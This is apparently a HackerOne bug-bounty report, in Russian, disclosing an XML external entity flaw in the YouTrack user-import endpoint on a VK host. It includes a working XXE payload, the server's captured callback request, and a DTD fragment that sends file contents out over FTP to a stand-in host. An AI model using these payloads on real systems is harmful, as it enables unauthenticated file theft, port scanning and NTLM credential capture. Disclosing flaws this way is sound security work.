Внедрение внешних сущностей в функционале импорта пользователей YouTrack
Unknown
Vulnerability Details
Уязвимость существует из-за возможности использования внешних сущностей XML разметки в функционале импорта пользователей YouTrack. Веб-приложение доступно по адресу youtrack.vk-cdn.net
Исходя из документации (https://confluence.jetbrains.com/display/YTD6/Import+Users) поддерживает импорт данных методом PUT в формате XML.
Стандарт XML-документа поддерживает включение секции DTD, а секции DTD, в свою очередь могут подключать к документу дополнительные компоненты, так называемые внешние сущности. Внешние сущности являются отдельными файлами и задаются с помощью ключевого слова SYSTEM и URI. Если XML-парсер невалидирующий, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа.
Злоумышленник может подставить в URI внешней сущности file URI, указывающий на аппаратное устройство ЭВМ, или на локальный файл в системе. Сервер попытается прочитать файл по указанному URI и включить его содержимое в XML.
Минимальный запрос будет выглядить следующим образом:
```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>
```
Но для добавления пользователя необходимо иметь учетную запись и быть администратором системы.
Однако, внедрив внешнюю сущность, XML-данные пройдут валидацию, и запрос будет выполнен, несмотря на предупреждение об отсутствии аутентификации. Пример XML-запроса представлен ниже:
```
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">
%xxe;
]>
<list></list>
```
В этом случае, сервер получит GET-запрос
```
GET /xxe-test HTTP/1.1
HOST: myserver
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive
```
Источник запроса:
```
IP: 87.240.169.26
HOSTNAME: srv26-169-240-87.vk.com
```
что свидетельствует уязвимости.
Внедрив вместо `http://myserver/xxe-test` собственную секцию DTD, с подобным содержимым
```
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://myhost:1935/%b;'>">%c;
```
мы получим возможность отправлять содержимое файлов с помощью протокола FTP
(исследование компании OnSec http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html)
Так как веб-приложение работает на языке Java (о чем говорит заголовок user-agent), мы так же можем получать содержимое директорий из-за особенностей работы Java.
При использовании такого механизма возможны такие виды атак, как например, как отказ в обслуживании (DoS) как сам сервер, так и другие системы, чтение произвольных файлов, сканирование TCP-портов (даже в обход фаервола), кража материалов NTLM-аутентификации, инициированная через UNC-обращение к системе, находящейся под контролем злоумышленника и т.п.
Эксплуатация в целях демонстрации доступна по следующей ссылке: https://youtu.be/0gMTwPU-BQc
Данная уязвимость имеет статус 0day, разработчики продукта YouTrack (компания Jetbrains) получит соответствующие уведомления.
Actions
View on HackerOneReport Stats
- Report ID: 114476
- State: Closed
- Substate: resolved
- Upvotes: 10